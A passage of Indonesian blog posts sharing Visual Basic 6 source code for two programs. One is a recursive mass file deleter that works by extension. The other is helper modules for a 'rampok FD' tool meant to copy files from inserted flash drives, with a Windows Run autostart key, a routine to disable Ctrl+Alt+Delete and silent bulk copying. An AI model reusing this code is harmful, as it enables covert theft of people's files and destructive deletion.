PictureAnimation(0).BorderStyle = vbBSNone
Me.BorderStyle = vbBSNone
Me.Width = PictureAnimation(0).Width
Me.Height = PictureAnimation(0).Height
Me.Picture = PictureAnimation(0).Picture
WindowRegion = MakeRegion(PictureAnimation(0))
SetWindowRgn Me.hwnd, WindowRegion, True
Me.Refresh

End Sub


udah selesai langsung jalankan.

Ramadhan ke-3 dan source code penghapus file

Ini program bukan aku yang buat, akan tetapi dibuat oleh subhendra_barik@yahoo.co.in, akan tetapi akan aku bahas disini bahwa program ini digunakan untuk menghapus semua file sesuai dengan entensi yang telah di tentukan, sehingga kita tidak usah bingung untuk mencari fiel yang akan di hapus, misalkan kita akan menghapus file *.tmp. ni source code jangan di salah gunakan karena bisa menjadi bahaya.
Langsung aja ya proejct terdiri dari 1 form dan 1 module. silahkan lanjutkan membacanya

Ini source code untuk form1

'File Remover 1.0.0.1
'if u like this software, Mail me at : subhendra_barik@yahoo.co.in
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAborted As Boolean
hNameMaps As Long
sProgress As String
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const FO_DELETE = &H3
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function GetFileTime Lib "kernel32" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Private Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Dim st, ct, tt As Variant
Private Sub Check1_Click()
Check2.Value = 0
End Sub

Private Sub Check2_Click()
Check1.Value = 0
End Sub

Private Sub Cmd_Click(Index As Integer)
Select Case Index
Case 0
cmd.Item(Index).Enabled = False
Timer1.Enabled = True
st = Time
On Error GoTo Stop1
Drive1.Refresh
TxtDel.Text = ""
List2.Clear
File1.Refresh
File1.Pattern = "*." & CmbExten.Text
If Option1.Item(0).Value = True Then
Drive1.Drive = LblFol.Caption
Dir1.path = Trim(LblFol.Caption) & "\"
ElseIf Option1.Item(1).Value = True Then
Drive1.Drive = CmbDrive.Text
Dir1.path = CmbDrive.Text & "\"
End If
File1.path = Dir1.path
For i = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(i)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path
DeleteFile (File1.path & "\" & File1.List(i))
Next i
err:
If flag = 1 Then GoTo Stop1
Dir1.path = List1.Text
LblFile.Caption = File1.path & "\" & File1.List(i)
List2.Refresh
For i = 0 To Dir1.ListCount - 1
List1.AddItem Dir1.List(i)
File1.path = Dir1.List(i)
For j = 0 To File1.ListCount - 1
TotFil.Caption = List2.ListCount
List2.AddItem File1.List(j)
LblFile.Caption = File1.path
TxtDel.Text = TxtDel.Text & File1.path & "\" & File1.List(j) & vbNewLine
DeleteFile (File1.path & "\" & File1.List(j))
Next j
DoEvents
LblTime = Format(Time - st, "HH:MM:SS")
Next i
List1.ListIndex = List1.ListIndex + 1
GoTo err
Case 1
MsgBox "Thank You For Using This Software." & vbNewLine & "If you have any Suggestion , Please mail me at:" & vbNewLine & "subhendra_barik@yahoo.co.in"
End
End Select
Stop1:
TotFil.Caption = List2.ListCount
Timer1.Enabled = False
Image1.Width = 100
MsgBox "Total " & List2.ListCount & " Files Deleted", vbOKOnly, "File Remover Ver-1.0.0.1"
LblTime = Format(Time - st, "HH:MM:SS")
End Sub

Private Sub CmdBrow_Click()
Dim bi As BROWSEINFO
Dim pidl As Long
Dim path As String
Dim POS As Integer
bi.hOwner = Me.hwnd
bi.pidlRoot = 0&
bi.lpszTitle = "Select original database directory."
bi.ulFlags = BIF_RETURNONLYFSDIRS
pidl = SHBrowseForFolder(bi)
path = Space$(MAX_PATH)
If SHGetPathFromIDList(ByVal pidl, ByVal path) Then
POS = InStr(path, Chr$(0))
If Len(Left(path, POS - 1)) = 3 Then
LblFol.Caption = Mid(Left(path, POS - 1), 1, 2)
Else
LblFol.Caption = Left(path, POS - 1)
End If
End If
End Sub

Private Sub Dir1_Change()
File1.path = Dir1.path
Dir1.Refresh
File1.Refresh
End Sub
Private Sub Form_Load()
Image1.Width = 100
CmbExten.Clear
Dim ext As String
Open App.path & "\ext.txt" For Input As #1
Do While Not EOF(1)
ext = ""
n = ""
Line Input #1, temp
length = Len(CStr(temp))
For i = 1 To length
n = Mid(temp, i, 1)
If n = "=" Then
For j = 1 To i - 2
ext = ext + Mid(temp, j + 1, 1)
Next j
End If
Next i
CmbExten.AddItem StrConv(ext, vbUpperCase)
Loop
Close #1
End Sub
Private Sub LblFol_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblFol.ToolTipText = LblFol.Caption
End Sub

Private Sub Option1_Click(Index As Integer)
Select Case Index
Case 0
CmbDrive.Enabled = False
CmdBrow.Enabled = True
Case 1
LblFol.Caption = ""
CmdBrow.Enabled = False
CmbDrive.Enabled = True
End Select
End Sub
Private Sub Timer1_Timer()
Image1.Width = Image1.Width + 20
If Image1.Width = 6820 Then Image1.Width = 100
End Sub



dan ini source code untuk modulenya

Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_RETURNONLYFSDIRS = &H1
Public Const BIF_DONTGOBELOWDOMAIN = &H2
Public Const BIF_STATUSTEXT = &H4
Public Const BIF_RETURNFSANCESTORS = &H8
Public Const BIF_BROWSEFORCOMPUTER = &H1000
Public Const BIF_BROWSEFORPRINTER = &H2000
Public Const MAX_PATH = 260
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long
Public Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal pv As Long)


biar ga bingung ni aku kasih tampilannya

Ramadhan ke-2 dan Lanjutan source code rampok

Akhirnya ramadhan hari perdana udah kita lalui, ni hari yang kedua. pada hari ini akan aku teruskan pembuatan program rampok FD yang kemarin adalah source code untuk form1 dan form 2, sekarang kita akan membuat atau menuliskan code untuk module1, module2 dan usercontrol1.
oke ga usah basa basi langsung aja ya....
Berikut source code untuk module1 atau aku sebut modRegistry


Public Const HKEY_LOCAL_ROOT = &H80000000
Public Const HKEY_LOCAL_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const Tempat = HKEY_LOCAL_MACHINE
Public Const SubTempat = "Software\Mr_Hack\AwasRampok"
Public Const SubRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const KEY_ALL_ACCESS = _
KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

'Tipe Reg Key ROOT ...
Public Const ERROR_SUCCESS = 0
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_DWORD = 4 ' 32-bit number

Private Declare Function RegOpenKeyEx Lib _
"advapi32" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal ulOptions As Long, ByVal samDesired As Long, _
ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
"advapi32" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, ByRef lpType As Long, _
ByVal lpData As String, ByRef lpcbData As Long) _
As Long
Declare Function RegCreateKey Lib _
"advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long

Declare Function RegCloseKey Lib _
"advapi32.dll" (ByVal hKey As Long) As Long

Declare Function RegSetValueEx Lib _
"advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal _
lpValueName As String, ByVal _
Reserved As Long, ByVal dwType _
As Long, lpData As Any, ByVal _
cbData As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long

Public Code, DataString, Temp As String
Public PathDatabase As String
Public Sub SimpanReg(hKey As Long, strPath As String, _
strValue As String, strData As String)
Dim KeyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, KeyHand)
r = RegSetValueEx(KeyHand, strValue, 0, _
REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(KeyHand)
End Sub
Public Sub BacaReg(hKey As Long, strPath As String, strValue As String, strData As String)
On Error GoTo Error
Dim Data As Long
Data = GetKeyValue(hKey, _
strPath, strValue, strData)
Exit Sub
Error:
MsgBox "Tidak ada informasi Registry", _
vbInformation, "NIHIL"
End Sub

Public Function GetKeyValue(KeyRoot As Long, _
KeyName As String, _
SubKeyRef As String, _
ByRef KeyVal As String) _
As Boolean
Dim i As Long ' Counter untuk looping
Dim rc As Long ' Code pengembalian
Dim hKey As Long ' Penanganan membuka Registry Key
Dim hDepth As Long '
Dim KeyValType As Long ' Tipe Data sebuah Registry Key
Dim tmpVal As String ' Penyimpanan sementara nilai Registry Key
Dim KeyValSize As Long ' Ukuran variabel Registry Key
rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
tmpVal = String$(1024, 0)
KeyValSize = 1024
rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
KeyValType, tmpVal, KeyValSize)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
tmpVal = Left(tmpVal, KeyValSize - 1)
Else
tmpVal = Left(tmpVal, KeyValSize)
End If
Select Case KeyValType ' Cari tipe data...
Case REG_SZ ' Tipe data string Registry Key
KeyVal = tmpVal ' Copy nilai String
Case REG_DWORD ' Tipe data Double Word Registry Key
For i = Len(tmpVal) To 1 Step -1
KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
Next
KeyVal = Format$("&h" + KeyVal)
End Select
GetKeyValue = True ' Pengembalian sukses
rc = RegCloseKey(hKey) ' Tutup Registry Key
Exit Function ' Keluar dari fungsi
GetKeyError: ' Bersihkan memori jika terjadi error...
KeyVal = "" ' Set Return Val ke string kosong
GetKeyValue = False ' Pengembalian gagal
rc = RegCloseKey(hKey) ' Tutup Registry Key
End Function
Public Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub


setelah module 1 ni untuk module2 aku sebut modGeneral

'File
Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Path
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnID As NOTIFYICONDATA) As Boolean

Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type

Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201 'Button down kiri.
Public Const WM_LBUTTONUP = &H202 'Button up kiri.
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click.
Public Const WM_RBUTTONDOWN = &H204 'Button down kanan.
Public Const WM_RBUTTONUP = &H205 'Button up kanan.
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click.


Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String
Sub Translate() 'Encrypt/Decrypt Password
Dim i As Integer
Dim lokasi As Integer
Code = "1234567890" 'Ini kode/kunci utk melakukan encrypt/decrypt
Temp$ = ""
For i% = 1 To Len(DataString)
lokasi% = (i% Mod Len(Code)) + 1
'Gunakan logika XOR utk kombinasi encrypt/decrypt
Temp$ = Temp$ + Chr$(Asc(Mid$(DataString, i%, 1)) Xor _
Asc(Mid$(Code, lokasi%, 1)))
Next i%
End Sub

Public Function CariDrive() As String
Dim ictr As Integer
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next
End Function
Public Function IdentifikasiDrive() As Boolean
Dim ictr As Integer
Dim sDrive As String
Dim Tempatnya As String
Dim AA As String
Dim BB As Integer
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
Tempatnya = Tempatnya & sDrive
End If
Next
AA = Tempatnya
BB = Len(Trim(AA))
If BB >= 0 Then
IdentifikasiDrive = True
Else
IdentifikasiDrive = False
End If
End Function

Public Function CopyFiles(sSourcePath As String, sDestination As String, sFiles As String) As Long
Dim WFD As WIN32_FIND_DATA
Dim SA As SECURITY_ATTRIBUTES
Dim r As Long
Dim hFile As Long
Dim bNext As Long
Dim copied As Long
Dim currFile As String
On Error Resume Next
r = CreateDirectory(sDestination, SA)
hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If hFile Then
Do
currFile = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)))
r = CopyFile(sSourcePath & currFile, sDestination & currFile, False)
copied = copied + 1
bNext = FindNextFile(hFile, WFD)
Loop Until bNext = 0
End If
r = FindClose(hFile)
CopyFiles = copied
End Function
Public Sub BuatFolder(Foldere As String)
Dim SA As SECURITY_ATTRIBUTES
Dim Buat As Long
Buat = CreateDirectory(Foldere, SA)
End Sub


udah selesai Copas-nya kalau udah ni yang terakhir yaitu usercontrol1 aku sebut CommonDialog untuk membuka file

Option Explicit

Private Declare Function GetOpenFileName Lib _
"COMDLG32.DLL" Alias "GetOpenFileNameA" _
(pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib _
"COMDLG32.DLL" Alias "GetSaveFileNameA" _
(pOpenfilename As OPENFILENAME) As Long

Private cdlg As OPENFILENAME
Private LastFileName As String

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

Private Const OFN_ALLOWMULTISELECT = &H200
Private Const OFN_CREATEPROMPT = &H2000
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_ENABLETEMPLATEHANDLE = &H80
Private Const OFN_EXPLORER = &H80000
Private Const OFN_EXTENSIONDIFFERENT = &H400
Private Const OFN_FILEMUSTEXIST = &H1000
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_LONGNAMES = &H200000
Private Const OFN_NOCHANGEDIR = &H8
Private Const OFN_NODEREFERENCELINKS = &H100000
Private Const OFN_NOLONGNAMES = &H40000
Private Const OFN_NONETWORKBUTTON = &H20000
Private Const OFN_NOREADONLYRETURN = &H8000
Private Const OFN_NOTESTFILECREATE = &H10000
Private Const OFN_NOVALIDATE = &H100
Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_READONLY = &H1
Private Const OFN_SHAREAWARE = &H4000
Private Const OFN_SHAREFALLTHROUGH = 2
Private Const OFN_SHARENOWARN = 1
Private Const OFN_SHAREWARN = 0
Private Const OFN_SHOWHELP = &H10

Public Enum DialogFlags
ALLOWMULTISELECT = OFN_ALLOWMULTISELECT
CREATEPROMPT = OFN_CREATEPROMPT
ENABLEHOOK = OFN_ENABLEHOOK
ENABLETEMPLATE = OFN_ENABLETEMPLATE
ENABLETEMPLATEHANDLE = OFN_ENABLETEMPLATEHANDLE
EXPLORER = OFN_EXPLORER
EXTENSIONDIFFERENT = OFN_EXTENSIONDIFFERENT
FILEMUSTEXIST = OFN_FILEMUSTEXIST
HIDEREADONLY = OFN_HIDEREADONLY
LONGNAMES = OFN_LONGNAMES
NOCHANGEDIR = OFN_NOCHANGEDIR
NODEREFERENCELINKS = OFN_NODEREFERENCELINKS
NOLONGNAMES = OFN_NOLONGNAMES
NONETWORKBUTTON = OFN_NONETWORKBUTTON
NOREADONLYRETURN = OFN_NOREADONLYRETURN
NOTESTFILECREATE = OFN_NOTESTFILECREATE
NOVALIDATE = OFN_NOVALIDATE
OVERWRITEPROMPT = OFN_OVERWRITEPROMPT
PATHMUSTEXIST = OFN_PATHMUSTEXIST
ReadOnly = OFN_READONLY
SHAREAWARE = OFN_SHAREAWARE
SHAREFALLTHROUGH = OFN_SHAREFALLTHROUGH
SHARENOWARN = OFN_SHARENOWARN
SHAREWARN = OFN_SHAREWARN
ShowHelp = OFN_SHOWHELP
End Enum

Private CFm_CancelError As Boolean
Private CFm_DialogTitle As String
Private CFm_DefaultExt As String
Private CFm_FileName As String
Private CFm_FileTitle As String
Private CFm_Filter As String
Private CFm_Flags As DialogFlags
Private CFm_InitDir As String

Public Property Get CancelError() As Boolean

CancelError = CFm_CancelError

End Property

Public Property Let CancelError(PropVal As Boolean)

CFm_CancelError = PropVal

End Property

Public Property Get DialogTitle() As String

DialogTitle = CFm_DialogTitle

End Property

Public Property Let DialogTitle(PropVal As String)

CFm_DialogTitle = PropVal

End Property

Public Property Get DefaultExt() As String

DefaultExt = CFm_DefaultExt

End Property

Public Property Let DefaultExt(PropVal As String)

CFm_DefaultExt = PropVal

End Property

Public Property Get FileName() As String

FileName = CFm_FileName

End Property

Public Property Let FileName(PropVal As String)

CFm_FileName = PropVal

End Property

Public Property Get FileTitle() As String

FileTitle = CFm_FileTitle

End Property

Public Property Let FileTitle(PropVal As String)

CFm_FileTitle = PropVal

End Property

Public Property Get Filter() As String

Filter = CFm_Filter

End Property

Public Property Let Filter(PropVal As String)

CFm_Filter = PropVal

End Property

Public Property Get Flags() As DialogFlags

Flags = CFm_Flags

End Property

Public Property Let Flags(PropVal As DialogFlags)

CFm_Flags = PropVal

End Property

Public Property Get InitDir() As String

InitDir = CFm_InitDir

End Property

Public Property Let InitDir(PropVal As String)

CFm_InitDir = PropVal

End Property


Private Sub UserControl_Initialize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Private Sub UserControl_Resize()

UserControl.Height = 32 * 15
UserControl.Width = 32 * 15

End Sub

Public Sub ShowOpen()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetOpenFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub

Public Sub ShowSave()

Dim i As Integer
Dim flt As String, idir As String, trez As String

flt = Replace(Filter, "|", Chr(0))

If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir

cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetSaveFileName(cdlg), Trim(cdlg.lpstrFile), "")

If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"

End Sub



sekian dulu source code rampok FD-nya.
ni tampilan untuk form1


yang ni gambar untuk form2

